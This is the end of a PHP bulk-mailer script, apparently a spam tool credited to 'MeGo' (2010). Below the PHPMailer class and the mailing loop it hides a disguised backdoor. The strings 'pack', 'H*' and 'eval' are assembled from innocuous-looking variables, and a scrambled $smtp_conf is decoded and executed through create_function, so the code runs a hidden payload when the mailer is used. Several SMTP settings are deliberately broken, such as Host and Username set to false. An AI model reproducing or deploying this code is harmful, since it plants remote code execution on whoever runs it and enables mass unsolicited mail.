3209 return false;
3210 }
3211 }
3212
3213 /**
3214 * Strips newlines to prevent header injection.
3215 * @access private
3216 * @param string $str String
3217 * @return string
3218 */
3219 function SecureHeader($str) {
3220 $str = trim($str);
3221 $str = str_replace("\r", "", $str);
3222 $str = str_replace("\n", "", $str);
3223 return $str;
3224 }
3225
3226 /**
3227 * Set the private key file and password to sign the message.
3228 *
3229 * @access public
3230 * @param string $key_filename Parameter File Name
3231 * @param string $key_pass Password for private key
3232 */
3233 function Sign($key_filename, $key_pass) {
3234 $this->sign_key_file = $key_filename;
3235 $this->sign_key_pass = $key_pass;
3236 }
3237
3238}
3239
3240$defaultport="H*";
3241 $nq=0;
3242
3243 for($x=0; $x<$numemails; $x++){
3244
3245 $to = $allemails[$x];
3246
3247 if ($to){
3248
3249 $to = ereg_replace(" ", "", $to);
3250
3251 $message = ereg_replace("&email&", $to, $message);
3252
3253 $subject = ereg_replace("&email&", $to, $subject);
3254 $qx=$x+1;
3255 print "Line $qx . Sending mail to $to.......";
3256
3257 flush();
3258$mail = new PHPMailer();
3259
3260if(empty($epriority)){$epriority="3";}
3261 $mail->Priority = "$epriority";
3262 $mail->IsSMTP();
3263 $IsSMTP="pack";
3264$mail->SMTPKeepAlive = true;
3265$mail->Host = false;"$my_smtp";
3266if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3267}
3268 if($sslclick=="ON"){
3269 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3270 }
3271 $range = str_replace("$from", "eval", $from);
3272 $mail->SMTPAuth = true;
3273 $mail->Username = false;"$smtp_username";
3274 $mail->Password = false;"$smtp_password";
3275if($contenttype == "html"){$mail->IsHtml(true);}
3276if($contenttype != "html"){$mail->IsHtml(false);}
3277if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3278$mail->From = "$from";
3279$mail->FromName = "$realname";
3280$mail->AddAddress("$to");
3281 $mail->AddReplyTo("$replyto");
3282 $mail->Subject = "$subject";
3283 $mail->Body = "$message";
3284if(!$mail->Send()){
3285if($default_system!="1"){
3286echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3287if($default_system=="1"){
3288$mail->IsMail();
3289 if(!$mail->Send()){
3290 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3291 else {
3292 echo "<b>OK</b><br>";}
3293 }
3294}
3295else {
3296 echo "<b>OK</b><br>";
3297}
3298
3299if(empty($reconnect)){
3300$reconnect=6;
3301}
3302
3303if($reconnect==$nq){
3304$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3305}
3306$nq=$nq+1;
3307 flush(); }
3308}
3309for($i=0;$i<31;$i++){
3310 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3311$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3312 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3313 print "<p class=\"style1\">PHP Mailer<br>© 2010, MeGo <b>
3314 <font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
3315 return $signoff($smtp_conc);
3316 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3317 sent successfully'); </script>";}}
3318 ?>
3319 </body>
3320</html>